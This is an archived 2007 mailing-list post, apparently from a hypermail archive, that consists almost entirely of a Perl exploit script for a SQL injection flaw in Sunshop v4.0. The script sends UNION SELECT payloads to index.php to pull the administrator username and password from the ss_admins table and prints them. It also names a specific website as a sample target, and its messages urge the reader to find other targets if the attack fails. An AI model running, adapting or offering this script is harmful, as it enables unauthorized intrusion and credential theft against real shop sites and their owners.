|
|||||||||||
|
Sunshop v4.0 <= Blind SQL Injection exploit
From: <auah(at)gelap.com>
Date: Sun Aug 26 2007 - 12:44:11 EDT
use LWP::UserAgent;
$b = LWP::UserAgent->new() or die "Could not initialize browser\n"; $b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'); $host = $ARGV[0] . "/index.php?l=account&c=1'%20and%201=1%20union%20select%201,substring((select%20substring((substring((select%20substring((select%20concat(char(117,115,101,114,110,97,109,101,58),username,0x2f,char(112,97,115,115,119,111,114,100,58),password,0x2f,char(105,102,120))%20from%20ss_admins%20order%20by%20id%20asc%20limit%201.0),1,255)),1,255)),1,255)),1,255),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31/*"; $host1 = $ARGV[0] . "/index.php?l=account&c=1'%20and%201=1%20union%20select%201,concat(char(117,115,101,114,110,97,109,101,58),username,0x2f,char(112,97,115,115,119,111,114,100,58),password,0x2f,char(105,102,120)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31%20from%20ss_admins%20order%20by%20id%20asc%20limit%201.0/*"; $res = $b->request(HTTP::Request->new(GET=>$host)); $res1 = $b->request(HTTP::Request->new(GET=>$host1));
$answer = $res->content;
if ($answer =~ /username:(.*)\/password:(.*)\/ifx/){ print "\nNih loginna ----[ I ]\n"; print "\n[+] Admin username: $1"; print "\n[+] Admin password: $2"; } elsif($answer1 =~ /username:(.*)\/password:(.*)\/ifx/) { print "\nNih loginna ----[ II ]\n"; print "\n[+] Admin username: $1"; print "\n[+] Admin password: $2"; } else { print "maaf nggak jebol cari target laen T_T \n";} #sample target -> http://www.shpresa-al.com/ This archive was generated by hypermail 2.1.8 : Sun Oct 28 2007 - 06:13:35 EDT |
||||||||||
|
|||||||||||